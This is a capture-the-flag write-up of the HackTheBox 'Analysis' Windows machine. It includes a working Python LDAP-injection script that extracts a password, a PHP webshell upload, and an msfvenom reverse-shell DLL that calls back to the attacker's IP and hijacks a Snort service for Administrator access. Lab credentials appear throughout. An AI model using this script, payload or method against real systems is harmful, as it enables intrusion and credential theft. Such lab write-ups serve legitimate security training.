Analysis – HackTheBox Link to heading
- OS: Windows
- Difficulty: Hard
- Platform: HackTheBox
Summary Link to heading
We are able to find subdomains for the domain analysis.htb
and multiple directories with tools like Gobuster
and ffuf
. Bruteforcing vulnerable parameters in one of these directories, we find that one is vulnerable to LDAP Injections
. Through this vulnerability we find a user and a password that works for an admin panel. Inside this administration panel, we are allowed to upload a PHP
webshell and enter in the machine. Using WinPEAS
we are able to find credentials for another existant user inside the machine and pivot to this new user. Once logged in as this new user, we see that we can modify .dll
files for SNORT
service running; allowing us to perform a DLL Hijacking
and elevate our privileges.
User Link to heading
Nmap
scan shows multiple ports open: 53
Domain Name System
(DNS
), 80
HTTP
, 88
Kerberos
, 445
Server Message Block
(SMB
), 135
Microsoft RPC
, 3268
Lightweight Directory Access Protocol
(LDAP
), 3306
MySQL
, and 5985
Windows Remote Management
(WinRM
); among others
❯ sudo nmap -sVC -p53,80,88,135,139,445,464,593,3268,3269,3306,5985,9389,33060,47001,49664,49665,49666,49667,49671,49674,49675,49676,49677,49682,49794 10.10.11.250 -oN targeted
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-05-18 17:39 -04
Nmap scan report for 10.10.11.250
Host is up (0.21s latency).
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
80/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2024-05-18 21:39:35Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: analysis.htb0., Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
3306/tcp open mysql MySQL (unauthorized)
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp open mc-nmf .NET Message Framing
33060/tcp open mysqlx?
| fingerprint-strings:
| DNSStatusRequestTCP, NotesRPC, TLSSessionReq, X11Probe, afp:
| Invalid message"
| HY000
| oracle-tns:
| Invalid message-frame."
|_ HY000
47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open msrpc Microsoft Windows RPC
49665/tcp open msrpc Microsoft Windows RPC
49666/tcp open msrpc Microsoft Windows RPC
49667/tcp open msrpc Microsoft Windows RPC
49671/tcp open msrpc Microsoft Windows RPC
49674/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49675/tcp open msrpc Microsoft Windows RPC
49676/tcp open msrpc Microsoft Windows RPC
49677/tcp open msrpc Microsoft Windows RPC
49682/tcp open msrpc Microsoft Windows RPC
49794/tcp open msrpc Microsoft Windows RPC
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
<SNIP>
Service Info: Host: DC-ANALYSIS; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-time:
| date: 2024-05-18T21:40:34
|_ start_date: N/A
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 83.08 seconds
Attempting a Domain Zone Transfer Attack
does not work:
❯ dig axfr analysis.htb @10.10.11.250
; <<>> DiG 9.19.21-1-Debian <<>> axfr analysis.htb @10.10.11.250
;; global options: +cmd
; Transfer failed.
and the site at http://10.10.11.250
does not show anything with cURL
:
❯ curl -s http://10.10.11.250
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd">
<HTML><HEAD><TITLE>Not Found</TITLE>
<META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD>
<BODY><h2>Not Found</h2>
<hr><p>HTTP Error 404. The requested resource is not found.</p>
</BODY></HTML>
Now, scanning port 445
SMB
with NetExec
(the successor of CrackMapExec
) shows the domain analysis.htb
:
❯ netexec smb 10.10.11.250
SMB 10.10.11.250 445 DC-ANALYSIS [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC-ANALYSIS) (domain:analysis.htb) (signing:True) (SMBv1:False)
So I add this target and domain to my /etc/hosts
file:
❯ echo '10.10.11.250 analysis.htb' | sudo tee -a /etc/hosts
10.10.11.250 analysis.htb
Next, I will start searching for subdomains with ffuf
:
❯ ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt:FUZZ -u http://analysis.htb/ -H 'Host: FUZZ.analysis.htb'
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://analysis.htb/
:: Wordlist : FUZZ: /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt
:: Header : Host: FUZZ.analysis.htb
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________
internal [Status: 403, Size: 1268, Words: 74, Lines: 30, Duration: 155ms]
:: Progress: [19966/19966] :: Job [1/1] :: 124 req/sec :: Duration: [0:02:38] :: Errors: 0 ::
and find one domain: internal.analysis.htb
So I add internal.analysis.htb
to my /etc/hosts
file, so now this file looks like:
❯ cat /etc/hosts | tail -n 1
10.10.11.250 analysis.htb internal.analysis.htb
Trying to visit this new domain, http://internal.analysis.htb
, now returns 403 Fordidden
:
I then decide to find directories with a Brute Force Directory Listing
with Gobuster
:
❯ gobuster dir -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u http://internal.analysis.htb -t 55
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://internal.analysis.htb
[+] Method: GET
[+] Threads: 55
[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/users (Status: 301) [Size: 170] [--> http://internal.analysis.htb/users/]
/dashboard (Status: 301) [Size: 174] [--> http://internal.analysis.htb/dashboard/]
/Users (Status: 301) [Size: 170] [--> http://internal.analysis.htb/Users/]
/employees (Status: 301) [Size: 174] [--> http://internal.analysis.htb/employees/]
/Dashboard (Status: 301) [Size: 174] [--> http://internal.analysis.htb/Dashboard/]
Progress: 220560 / 220561 (100.00%)
===============================================================
Finished
===============================================================
Then I decide to search for files in these three directories. Eventually I find some PHP
files at /users
directory:
❯ gobuster dir -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u http://internal.analysis.htb/users/ -t 55 -x php
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://internal.analysis.htb/users/
[+] Method: GET
[+] Threads: 55
[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Extensions: php
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/list.php (Status: 200) [Size: 17]
/List.php (Status: 200) [Size: 17]
where we find a file /users/list.php
For /dashboard
we have:
❯ gobuster dir -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u http://internal.analysis.htb/dashboard/ -t 55 -x php
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://internal.analysis.htb/dashboard/
[+] Method: GET
[+] Threads: 55
[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Extensions: php
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/img (Status: 301) [Size: 178] [--> http://internal.analysis.htb/dashboard/img/]
/index.php (Status: 200) [Size: 38]
/uploads (Status: 301) [Size: 182] [--> http://internal.analysis.htb/dashboard/uploads/]
/upload.php (Status: 200) [Size: 0]
/details.php (Status: 200) [Size: 35]
/css (Status: 301) [Size: 178] [--> http://internal.analysis.htb/dashboard/css/]
/Index.php (Status: 200) [Size: 38]
/lib (Status: 301) [Size: 178] [--> http://internal.analysis.htb/dashboard/lib/]
/form.php (Status: 200) [Size: 35]
/js (Status: 301) [Size: 177] [--> http://internal.analysis.htb/dashboard/js/]
/logout.php (Status: 302) [Size: 3] [--> ../employees/login.php]
/tickets.php (Status: 200) [Size: 35]
/emergency.php (Status: 200) [Size: 35]
/IMG (Status: 301) [Size: 178] [--> http://internal.analysis.htb/dashboard/IMG/]
/INDEX.php (Status: 200) [Size: 38]
/Details.php (Status: 200) [Size: 35]
/Form.php (Status: 200) [Size: 35]
/CSS (Status: 301) [Size: 178] [--> http://internal.analysis.htb/dashboard/CSS/]
/Img (Status: 301) [Size: 178] [--> http://internal.analysis.htb/dashboard/Img/]
/JS (Status: 301) [Size: 177] [--> http://internal.analysis.htb/dashboard/JS/]
/Upload.php (Status: 200) [Size: 0]
/Uploads (Status: 301) [Size: 182] [--> http://internal.analysis.htb/dashboard/Uploads/]
/Logout.php (Status: 302) [Size: 3] [--> ../employees/login.php]
/Lib (Status: 301) [Size: 178] [--> http://internal.analysis.htb/dashboard/Lib/]
/Tickets.php (Status: 200) [Size: 35]
/Emergency.php (Status: 200) [Size: 35]
Progress: 441120 / 441122 (100.00%)
===============================================================
Finished
===============================================================
And we also find a login.php
at /employees
directory:
❯ gobuster dir -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u http://internal.analysis.htb/employees/ -t 55 -x php
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://internal.analysis.htb/employees/
[+] Method: GET
[+] Threads: 55
[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Extensions: php
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/login.php (Status: 200) [Size: 1085]
/Login.php (Status: 200) [Size: 1085]
The site http://internal.analysis.htb/employees/login.php
shows a login page:
but since we don’t have users (at least at the moment), I will save this login panel for later.
Checking the site site/file /users/list.php
with cURL
shows that this file accepts parameters:
❯ curl -s http://internal.analysis.htb/users/list.php
missing parameter
However, there are no hints about what is the parameter missing. So we can try to obtain it bruteforcing it.
I will use ffuf
and search for different/potential parameters:
❯ ffuf -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt:FUZZ -u 'http://internal.analysis.htb/users/list.php?FUZZ' -fs 17
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://internal.analysis.htb/users/list.php?FUZZ
:: Wordlist : FUZZ: /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response size: 17
________________________________________________
name [Status: 200, Size: 0, Words: 1, Lines: 1, Duration: 9807ms]
:: Progress: [6453/6453] :: Job [1/1] :: 250 req/sec :: Duration: [0:00:26] :: Errors: 0 ::
where we have found the parameter name
. So we have the file with the parameter http://internal.analysis.htb/users/list.php?name
. Visiting this site in an internet browser like Firefox
shows:
I remember that LDAP
service was running on this machine. Looking for LDAP Injections at HackTricks we could try with something like name=*
to see if it returns something. If I visit http://internal.analysis.htb/users/list.php?name=*
to attempt an injection I can see something:
where we have a potential user: technician
So far we have the following:
- A potential user
- An injectable point with
LDAP
So, following steps from HackTricks we can try to inject characters to obtain a password through a Python
script. Basically, it checks that the word technician
is present in the web request when we start to inject characters to name
parameter; if it is present we are going in a good way, if it is not, it is discarded. In this script I have also added a function to check that the password extracted is correct, since some symbols such as &
, *
or /
might cause false negatives/positives even if we urlencode them. For this script we need the library PwnTools. We can install running in our system:
$ sudo apt-get update
$ sudo apt-get install python3 python3-pip python3-dev git libssl-dev libffi-dev build-essential
$ python3 -m pip install --upgrade pip
$ python3 -m pip install --upgrade pwntools
Once installed we can run the following script to extract the password:
#!/usr/bin/python3
import argparse
import requests
import signal
import sys
import string
from pwn import log
# Ctrl+C
def ctrl_c(sig, frame)->None:
print(f"[!] Ctrl+C. Exiting...")
sys.exit(1)
signal.signal(signal.SIGINT, ctrl_c)
def parse_arguments()->argparse.Namespace:
# Create the parser
parser = argparse.ArgumentParser(description="A simple script for LDAP injection.")
# Add arguments
parser.add_argument('-u', '--url', type=str, help='URL to attempt LDAP injection (incluiding the injectable parameter). Example: http://internal.analysis.htb/users/list.php?name', required=True)
return parser.parse_args()
def request_to_site(url: str, current_password: str, all_characters: list[str], p)->str:
# Start a loop through different characters to bruteforce the password
index = 0
while index < len(all_characters):
char = all_characters[index]
p.status(f"Attempting with char {char!r} (password found, at the moment, {current_password!r})")
req_url = url + f'=*)(%26(objectClass=user)(description={current_password}{char}*)'
r = requests.get(req_url)
# Check the condition that satisfies the injection
if r.status_code == 200 and 'technician' in r.text:
current_password += char
# Restart the list
index = 0
else:
index += 1
return current_password
def check_password_found(url: str, current_password: str, symbols_list: list[str], all_chars: list[str])->(str, bool):
# Check that the password is not a false positive
p2 = log.progress(f"Checking if password ({current_password!r}) has symbols")
for symbol in symbols_list:
temp_password: str = current_password + symbol
for char in all_chars:
p2.status(f"Checking with symbol {symbol!r} and character {char!r}")
req_url = url + f'=*)(%26(objectClass=user)(description={temp_password}{char}*)'
r = requests.get(req_url)
if r.status_code == 200 and 'technician' in r.text:
p2.failure(f"Password had more symbols ({symbol!r}, so current password is {current_password+symbol!r})")
return current_password+symbol, False
p2.success("Password checked. All correct.")
return current_password, True
def ldap_injection(url: str)->None:
# LDAP injection
print(f"[+] Attempting LDAP Injection to url {url!r}...")
p = log.progress('LDAP Injection')
password: str = ''
all_characters: list[str] = list(string.digits) + list(string.ascii_letters) + [c for c in list(string.punctuation) if c != ')'] # char ')' bugs the data
symbols_characters: list[str] = list(string.punctuation)
foundPassword: bool = False
# Exit the loop until we have checked that the extracted password is not a false positive
while not foundPassword:
# Get the password through injection
password = request_to_site(url, password, all_characters, p)
# Check if the password found is not a false positive
password, foundPassword = check_password_found(url, password, symbols_characters, all_characters)
p.status(f"Password found: {password}")
def main()->None:
# Get argument from users
args = parse_arguments()
# LDAP injection
ldap_injection(args.url)
if __name__ == "__main__":
main()
Running this script we find a password:
❯ python3 exploit_ldap.py --url 'http://internal.analysis.htb/users/list.php?name'
[+] Attempting LDAP Injection to url 'http://internal.analysis.htb/users/list.php?name'...
[....../.] LDAP Injection: Temporal password is: 97NTtl*4QP96Bv
[-] Checking if password has symbols: Password had more symbols ('*', so current password is '97NTtl*')
[+] Checking if password has symbols: Password checked. All correct.
so we might have a user and a password: technician:97NTtl*4QP96Bv
We can check that this password works via SMB
with NetExec
:
❯ netexec smb 10.10.11.250 -u 'technician' -p '97NTtl*4QP96Bv' --shares
SMB 10.10.11.250 445 DC-ANALYSIS [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC-ANALYSIS) (domain:analysis.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.250 445 DC-ANALYSIS [+] analysis.htb\technician:97NTtl*4QP96Bv
SMB 10.10.11.250 445 DC-ANALYSIS [*] Enumerated shares
SMB 10.10.11.250 445 DC-ANALYSIS Share Permissions Remark
SMB 10.10.11.250 445 DC-ANALYSIS ----- ----------- ------
SMB 10.10.11.250 445 DC-ANALYSIS ADMIN$ Administration à distance
SMB 10.10.11.250 445 DC-ANALYSIS C$ Partage par défaut
SMB 10.10.11.250 445 DC-ANALYSIS IPC$ READ IPC distant
SMB 10.10.11.250 445 DC-ANALYSIS NETLOGON READ Partage de serveur d'accès
SMB 10.10.11.250 445 DC-ANALYSIS SYSVOL READ Partage de serveur d'accès
but I don’t see interesting shares
After attempting some things, I remember the login panel at http://internal.analysis.htb/employees/login.php
. We can try to put these credentials there. They work if we log in as technician@analysis.htb
and we are inside the panel:
Visiting/clicking SOC Report
at the left side I can see that I can upload images. So I upload a simple PHP
shell (since, as we have seen, the site works with .php
files). I will upload a WWWolf PHP Shell since we are against a Windows
system.
I remember that /dashboard
directory had an /uploads
directory. My file was called shell.php
. Then, I visit http://internal.analysis.htb/dashboard/uploads/shell.php
and my shell is there:
but I prefer a fully interactive shell. So I start a temporal Python
HTTP
server on port 8080
in my machine:
❯ ls && python3 -m http.server 8080
exploit_ldap.py nc64.exe shell.php
Serving HTTP on 0.0.0.0 port 8080 (http://0.0.0.0:8080/) ...
and download a netcat
binary for Windows
, running in the target machine the built-in tool certutil
:
After downloading it, I start a netcat
listener on port 443
and send me a reverse shell running:
and I get a shell as svc_web
:
❯ rlwrap -cAr nc -lvnp 443
listening on [any] 443 ...
connect to [10.10.16.15] from (UNKNOWN) [10.10.11.250] 51300
Microsoft Windows [version 10.0.17763.5329]
(c) 2018 Microsoft Corporation. Tous droits rservs.
C:\inetpub\internal\dashboard\uploads> whoami
whoami
analysis\svc_web
I upload WinPEAS
to the machine, similar as I did for the netcat
binary, and get something interesting:
C:\Users\Public\Downloads>.\winpeas.exe
.\winpeas.exe
ANSI color bit for Windows is not set. If you are executing this from a Windows terminal inside the host you should run 'REG ADD HKCU\Console /v VirtualTerminalLevel /t REG_DWORD /d 1' and then start a new CMD
Long paths are disabled, so the maximum length of a path supported is 260 chars (this may cause false negatives when looking for files). If you are admin, you can enable it with 'REG ADD HKLM\SYSTEM\CurrentControlSet\Control\FileSystem /v VirtualTerminalLevel /t REG_DWORD /d 1' and then start a new CMD
<SNIP>
Looking for AutoLogon credentials
Some AutoLogon credentials were found
DefaultDomainName : analysis.htb.
DefaultUserName : jdoe
DefaultPassword : 7y4Z4^*y9Zzj
<SNIP>
so we have a user and a password: jdoe:7y4Z4^*y9Zzj
And also checking this user shows:
C:\Users\Public\Downloads>net user jdoe
net user jdoe
Nom d'utilisateur jdoe
Nom complet john doe
Commentaire
Commentaires utilisateur
Code du pays ou de la rgion 000 (Valeur par dfaut du systme)
Compte: actif Oui
Le compte expire Jamais
Mot de passe: dernier changmt. 04/01/2024 11:37:29
Le mot de passe expire Jamais
Le mot de passe modifiable 05/01/2024 11:37:29
Mot de passe exig Oui
L'utilisateur peut changer de mot de passe Oui
Stations autorises Tout
Script d'ouverture de session
Profil d'utilisateur
Rpertoire de base
Dernier accs 19/05/2024 01:43:25
Heures d'accs autoris Tout
Appartient aux groupes locaux *Utilisateurs de gesti
Appartient aux groupes globaux *Utilisateurs du domai
La commande s'est termine correctement.
I decide to check with NetExec
if we have access to the machine with these credentials and we do:
❯ netexec winrm 10.10.11.250 -u 'jdoe' -p '7y4Z4^*y9Zzj'
WINRM 10.10.11.250 5985 DC-ANALYSIS [*] Windows 10 / Server 2019 Build 17763 (name:DC-ANALYSIS) (domain:analysis.htb)
WINRM 10.10.11.250 5985 DC-ANALYSIS [+] analysis.htb\jdoe:7y4Z4^*y9Zzj (Pwn3d!)
and connect with evil-winrm
:
❯ evil-winrm -i 10.10.11.250 -u 'jdoe' -p '7y4Z4^*y9Zzj'
Evil-WinRM shell v3.5
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\jdoe\Documents>
where we can finally get the user flag at C:\Users\jdoe\Desktop
NT Authority/System - Administrator Link to heading
From WinPEAS
, but now re-uploading it and running it as jdoe
user I can see something from the output:
*Evil-WinRM* PS C:\Users\jdoe\Documents> wget http://10.10.16.15:8080/winpeas.exe -Outfile C:\Users\jdoe\Documents\winpeas.exe
*Evil-WinRM* PS C:\Users\jdoe\Documents> C:\Users\jdoe\Documents\winpeas.exe
<SNIP>
Snort(Snort)[C:\Snort\bin\snort.exe /SERVICE] - Autoload - No quotes and Space detected
Possible DLL Hijacking in binary folder: C:\Snort\bin (Users [AppendData/CreateDirectories WriteData/CreateFiles])
<SNIP>
Searching What is Snort
on Google I get:
So attacking SNORT
could be a potential way to get privileges
Checking the permissions with icacls
show that we might be able to write on these files:
*Evil-WinRM* PS C:\Users\jdoe\Documents> icacls C:\Snort\lib\snort_dynamicengine
C:\Snort\lib\snort_dynamicengine AUTORITE NT\SystŠme:(I)(OI)(CI)(F)
BUILTIN\Administrateurs:(I)(OI)(CI)(F)
BUILTIN\Utilisateurs:(I)(OI)(CI)(RX)
BUILTIN\Utilisateurs:(I)(CI)(AD)
BUILTIN\Utilisateurs:(I)(CI)(WD)
CREATEUR PROPRIETAIRE:(I)(OI)(CI)(IO)(F)
Successfully processed 1 files; Failed processing 0 files
*Evil-WinRM* PS C:\Users\jdoe\Documents> icacls C:\Snort\lib\snort_dynamicpreprocessor
C:\Snort\lib\snort_dynamicpreprocessor AUTORITE NT\SystŠme:(I)(OI)(CI)(F)
BUILTIN\Administrateurs:(I)(OI)(CI)(F)
BUILTIN\Utilisateurs:(I)(OI)(CI)(RX)
BUILTIN\Utilisateurs:(I)(CI)(AD)
BUILTIN\Utilisateurs:(I)(CI)(WD)
CREATEUR PROPRIETAIRE:(I)(OI)(CI)(IO)(F)
Successfully processed 1 files; Failed processing 0 files
I note that within these files we have a .dll
file, so we might try a DLL hijacking
:
*Evil-WinRM* PS C:\Users\jdoe\Documents> cmd.exe /c dir C:\Snort\lib\snort_dynamicengine
Volume in drive C has no label.
Volume Serial Number is 0071-E237
Directory of C:\Snort\lib\snort_dynamicengine
07/08/2023 03:31 PM <DIR> .
07/08/2023 03:31 PM <DIR> ..
05/24/2022 06:48 AM 78,336 sf_engine.dll
1 File(s) 78,336 bytes
2 Dir(s) 4,018,229,248 bytes free
For this I create a .dll
file with msfvenom
:
❯ msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.16.15 LPORT=443 -a x64 -f dll -o snort_dynamicpreprocessor.dll
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
No encoder specified, outputting raw payload
Payload size: 460 bytes
Final size of dll file: 9216 bytes
Saved as: snort_dynamicpreprocessor.dll
pass it to the machine with the help of evil-winrm
:
*Evil-WinRM* PS C:\Users\jdoe\Documents> upload snort_dynamicpreprocessor.dll
Info: Uploading /home/gunzf0x/HTB/HTBMachines/Hard/Analysis/exploits/snort_dynamicpreprocessor.dll to C:\Users\jdoe\Documents\snort_dynamicpreprocessor.dll
Data: 12288 bytes of 12288 bytes copied
Info: Upload successful!
I will create a copy of the original files and, then, replace them with the malicious .dll
file:
*Evil-WinRM* PS C:\Users\jdoe\Documents> dir C:\Snort\lib
Directory: C:\Snort\lib
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 7/8/2023 3:31 PM snort_dynamicengine
d----- 7/8/2023 3:31 PM snort_dynamicpreprocessor
*Evil-WinRM* PS C:\Users\jdoe\Documents> copy C:\Snort\lib\snort_dynamicpreprocessor .\snort_dynamic_backup
*Evil-WinRM* PS C:\Users\jdoe\Documents> dir
Directory: C:\Users\jdoe\Documents
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 5/23/2023 9:15 AM BCDB
d----- 5/19/2024 5:29 AM snort_dynamic_backup
-a---- 5/19/2024 5:28 AM 9216 snort_dynamicpreprocessor.dll
-a---- 5/19/2024 5:09 AM 2387456 winpeas.exe
*Evil-WinRM* PS C:\Users\jdoe\Documents> copy snort_dynamicpreprocessor.dll C:\Snort\lib\snort_dynamicpreprocessor
Finally, start the service. I note that there is a snort.exe
file at C:\Snort\bin
directory. Before doing this I start a listener with netcat
on port 443
:
*Evil-WinRM* PS C:\Users\jdoe\Documents> cd C:\Snort\bin
*Evil-WinRM* PS C:\Snort\bin> dir
Directory: C:\Snort\bin
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 4/20/2022 4:15 PM 54784 npptools.dll
-a---- 4/20/2022 4:15 PM 274489 ntwdblib.dll
-a---- 4/20/2022 4:15 PM 36948 Packet.dll
-a---- 4/20/2022 4:15 PM 94208 pcre.dll
-a---- 5/24/2022 6:51 AM 1559552 snort.exe
-a---- 4/20/2022 4:15 PM 53326 WanPacket.dll
-a---- 4/20/2022 4:15 PM 208974 wpcap.dll
-a---- 4/20/2022 4:15 PM 73728 zlib1.dll
*Evil-WinRM* PS C:\Snort\bin> .\snort.exe -V
snort.exe :
+ CategoryInfo : NotSpecified: (:String) [], RemoteException
+ FullyQualifiedErrorId : NativeCommandError
,,_ -*> Snort! <*- o" )~ Version 2.9.20-WIN64 GRE (Build 82) '''' By Martin Roesch & The Snort Team: http://www.snort.org/contact#team Copyright (C) 2014-2022 Cisco and/or its affiliates. All rights reserved. Copyright (C) 1998-2013 Sourcefire, Inc., et al. Using PCRE version: 8.10 2010-06-25 Using ZLIB version: 1.2.11
And after some seconds I get a shell as Administrator
user:
❯ rlwrap -cAr nc -lvnp 443
listening on [any] 443 ...
connect to [10.10.16.15] from (UNKNOWN) [10.10.11.250] 51511
Microsoft Windows [Version 10.0.17763.5329]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami
whoami
analysis\administrateur
where we can get the flag at C:\Users\Administrateur\Desktop\